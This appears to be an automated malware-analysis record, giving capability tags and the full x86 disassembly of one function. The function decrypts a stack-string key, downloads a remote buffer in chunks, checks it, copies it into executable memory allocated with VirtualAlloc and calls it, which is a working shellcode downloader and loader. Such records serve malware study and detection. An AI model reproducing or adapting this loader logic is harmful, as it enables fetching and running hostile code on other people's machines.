Function at 0x4199fc
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x468332
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x1b4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x50], 0
mov byte [ebp - 0x44], 0xf
mov byte [ebp - 0x43], 0x71
mov byte [ebp - 0x42], 0xc2
mov byte [ebp - 0x41], 0xf2
mov byte [ebp - 0x40], 0xa3
mov byte [ebp - 0x3f], 0xe9
mov byte [ebp - 0x3e], 0x1e
mov byte [ebp - 0x3d], 0x85
mov byte [ebp - 0x3c], 0x8d
mov byte [ebp - 0x3b], 0xf8
mov byte [ebp - 0x3a], 0xc3
mov byte [ebp - 0x39], 0x76
mov byte [ebp - 0x38], 0x46
mov byte [ebp - 0x37], 0x2a
mov byte [ebp - 0x36], 0xdf
mov byte [ebp - 0x35], 0xa
mov byte [ebp - 0x34], 0xa3
mov byte [ebp - 0x33], 0x83
mov byte [ebp - 0x32], 0xa8
mov byte [ebp - 0x31], 0xf4
mov byte [ebp - 0x30], 0x4a
mov byte [ebp - 0x2f], 0x25
mov byte [ebp - 0x2e], 0xe4
mov byte [ebp - 0x2d], 0x1f
mov byte [ebp - 0x2c], 0x81
mov byte [ebp - 0x2b], 0x5e
mov byte [ebp - 0x2a], 0x5d
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0xce
mov byte [ebp - 0x27], 0xe3
mov byte [ebp - 0x26], 0x91
mov byte [ebp - 0x25], 0x4c
push 0
push 0
push 0
push 0
push 1
push 0xf8032c
lea ecx, [ebp - 0x24]
call fcn.0045daf0
mov dword [ebp - 4], 0
push 0
push 0x2710
push 2
lea ecx, [ebp - 0x24]
call fcn.0041a380
push 0
push 0x2710
push 5
lea ecx, [ebp - 0x24]
call fcn.0041a380
push 0
push 0x2710
push 6
lea ecx, [ebp - 0x24]
call fcn.0041a380
push 0
push 0x2710
push 7
lea ecx, [ebp - 0x24]
call fcn.0041a380
push 0
push 0x2710
push 8
lea ecx, [ebp - 0x24]
call fcn.0041a380
mov dword [ebp - 0x54], 0x84000002
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov byte [ebp - 4], 1
push 0
push 0
mov eax, dword [ebp - 0x54]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x24]
call fcn.0045dbeb
mov dword [ebp - 0x1a4], eax
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x4c], edx
lea eax, [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x4c]
call fcn.0045e655
cmp dword [ebp - 0x58], 0xc8
jne 0x419d92
mov dword [ebp - 0x5c], 0
push 0
lea ecx, [ebp - 0x5c]
push ecx
push 5
mov ecx, dword [ebp - 0x4c]
call fcn.0045e62e
cmp dword [ebp - 0x5c], 0
jbe 0x419d90
mov edx, dword [ebp - 0x5c]
add edx, 8
push edx
call fcn.00433d1a
add esp, 4
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x419bdd
push 0x10
push 0xf80334
push 0xf8033c
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [ebp - 0x17c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0045daab
mov al, byte [ebp - 0x17c]
jmp 0x419f6e
mov eax, dword [ebp - 0x5c]
add eax, 8
push eax
push 0
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00433780
add esp, 0xc
mov dword [ebp - 0x60], 0
mov edx, dword [ebp - 0x60]
cmp edx, dword [ebp - 0x5c]
jae 0x419ca7
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x60]
cmp eax, 0x800
jae 0x419c20
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x60]
mov dword [ebp - 0x1a8], ecx
jmp 0x419c2a
mov dword [ebp - 0x1a8], 0x800
mov edx, dword [ebp - 0x1a8]
push edx
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
mov eax, dword [edx]
call dword [eax + 0x34]
mov dword [ebp - 0x1ac], eax
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x6c], ecx
cmp dword [ebp - 0x6c], 0
jg 0x419c99
push 0x10
push 0xf80358
push 0xf80360
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [ebp - 0x48]
push edx
call fcn.00433c31
add esp, 4
mov byte [ebp - 0x180], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0045daab
mov al, byte [ebp - 0x180]
jmp 0x419f6e
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0x60], eax
jmp 0x419bf9
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x48]
push eax
call fcn.00419940
add esp, 0xc
mov byte [ebp - 0x1b0], al
mov ecx, dword [ebp - 0x1b0]
and ecx, 0xff
test ecx, ecx
jne 0x419d12
push 0x10
push 0xf80380
push 0xf80390
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [ebp - 0x48]
push edx
call fcn.00433c31
add esp, 4
mov byte [ebp - 0x184], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0045daab
mov al, byte [ebp - 0x184]
jmp 0x419f6e
push 0x40
push 0x3000
mov eax, dword [ebp - 0x5c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x419d6f
push 0x10
push 0xf803ac
push 0xf803b4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00433c31
add esp, 4
mov byte [ebp - 0x188], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0045daab
mov al, byte [ebp - 0x188]
jmp 0x419f6e
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00433440
add esp, 0xc
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x68], edx
call dword [ebp - 0x68]
mov byte [ebp - 0x50], 1
jmp 0x419de9
lea ecx, [ebp - 0x70]
call fcn.00412d50
mov dword [ebp - 0x1b4], eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x58]
push eax
push 0xf803dc
lea ecx, [ebp - 0x70]
push ecx
call fcn.00442898
add esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.00412d70
mov dword [ebp - 0x1b8], eax
push 0x10
push 0xf803fc
mov edx, dword [ebp - 0x1b8]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x70]
call fcn.00448ff0
cmp dword [ebp - 0x48], 0
je 0x419dfb
mov eax, dword [ebp - 0x48]
push eax
call fcn.00433c31
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x419e5b
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
mov eax, dword [edx]
call dword [eax + 0x4c]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x190], ecx
mov edx, dword [ebp - 0x190]
mov dword [ebp - 0x18c], edx
cmp dword [ebp - 0x18c], 0
je 0x419e51
push 1
mov ecx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x18c]
mov edx, dword [eax]
call dword [edx + 4]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c0], eax
jmp 0x419e5b
mov dword [ebp - 0x1c0], 0
jmp 0x419f49
mov dword [ebp - 4], 0
mov cl, byte [ebp - 0x50]
mov byte [ebp - 0x1a0], cl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0045daab
mov al, byte [ebp - 0x1a0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret